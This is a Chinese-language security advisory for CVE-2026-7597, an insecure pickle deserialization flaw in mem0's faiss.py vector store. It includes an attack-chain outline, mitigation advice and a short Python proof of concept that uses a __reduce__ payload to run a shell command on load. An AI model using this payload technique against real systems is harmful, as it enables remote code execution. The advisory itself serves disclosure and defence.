IPBUF安全漏洞报告
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CVE-2026-7597 CVSS 6.3 中危

CVE-2026-7597 mem0ai mem0 反序列化漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-7597
漏洞类型
不安全的反序列化
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
mem0ai mem0

相关标签

反序列化RCEmem0pickleCVE-2026-7597

漏洞概述

mem0ai mem0 版本 1.0.11 及之前版本存在不安全的反序列化漏洞。该漏洞源于文件 mem0/vector_stores/faiss.py 中使用了不安全的 pickle.load 和 pickle.dump 函数。攻击者无需用户交互即可发起远程攻击,通过构造恶意数据触发反序列化,可能导致远程代码执行,进而影响系统的机密性、完整性和可用性。

技术细节

该漏洞的根本原因是 Python 的 pickle 模块在处理不可信数据时缺乏安全性。在 mem0 项目的 mem0/vector_stores/faiss.py 组件中,开发者直接使用了 pickle.load 来读取序列化的向量数据。由于 pickle 协议支持在反序列化过程中执行任意 Python 代码(通过对象的 __reduce__ 方法),攻击者可以构造包含恶意操作码的 payload。当受影响系统加载攻击者提供的恶意文件或数据流时,pickle.load 会解析并执行其中的指令,从而导致服务器端被远程控制。CVSS 3.1 评分为 6.3,表明攻击复杂度低,且无需用户交互即可利用。

攻击链分析

STEP 1
侦察
攻击者识别目标正在使用 mem0ai mem0 1.0.11 或更早版本,并确认其通过 faiss.py 处理数据。
STEP 2
载荷构造
攻击者创建一个包含恶意 Python 代码的 pickle 序列化对象,利用 __reduce__ 方法定义反序列化时的执行行为(如反弹 Shell)。
STEP 3
传递载荷
攻击者通过网络接口上传恶意文件,或诱导应用程序加载被篡改的序列化数据。
STEP 4
执行代码
应用程序调用 pickle.load 解析数据,触发恶意代码执行,从而获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os # Define a malicious payload class class MaliciousPayload: def __reduce__(self): # Execute arbitrary command upon deserialization # Example: creating a file to prove execution return (os.system, ('echo VULNERABLE > /tmp/poc_check.txt', )) # Serialize the payload malicious_data = pickle.dumps(MaliciousPayload()) # Simulate the vulnerable code path in mem0/vector_stores/faiss.py # In a real attack, 'malicious_data' would come from an untrusted source/file def vulnerable_load(data): return pickle.loads(data) # Trigger the vulnerability try: print("Attempting to load malicious data...") vulnerable_load(malicious_data) print("Payload executed. Check /tmp/poc_check.txt") except Exception as e: print(f"Error: {e}")

影响范围

mem0ai mem0 <= 1.0.11

防御指南

临时缓解措施
在未升级补丁前,应严格限制对向量存储文件的写入权限,并确保外部输入数据不经过 pickle 反序列化处理。可考虑使用 WAF 规则拦截包含特定 pickle 操作码的恶意请求。

参考链接

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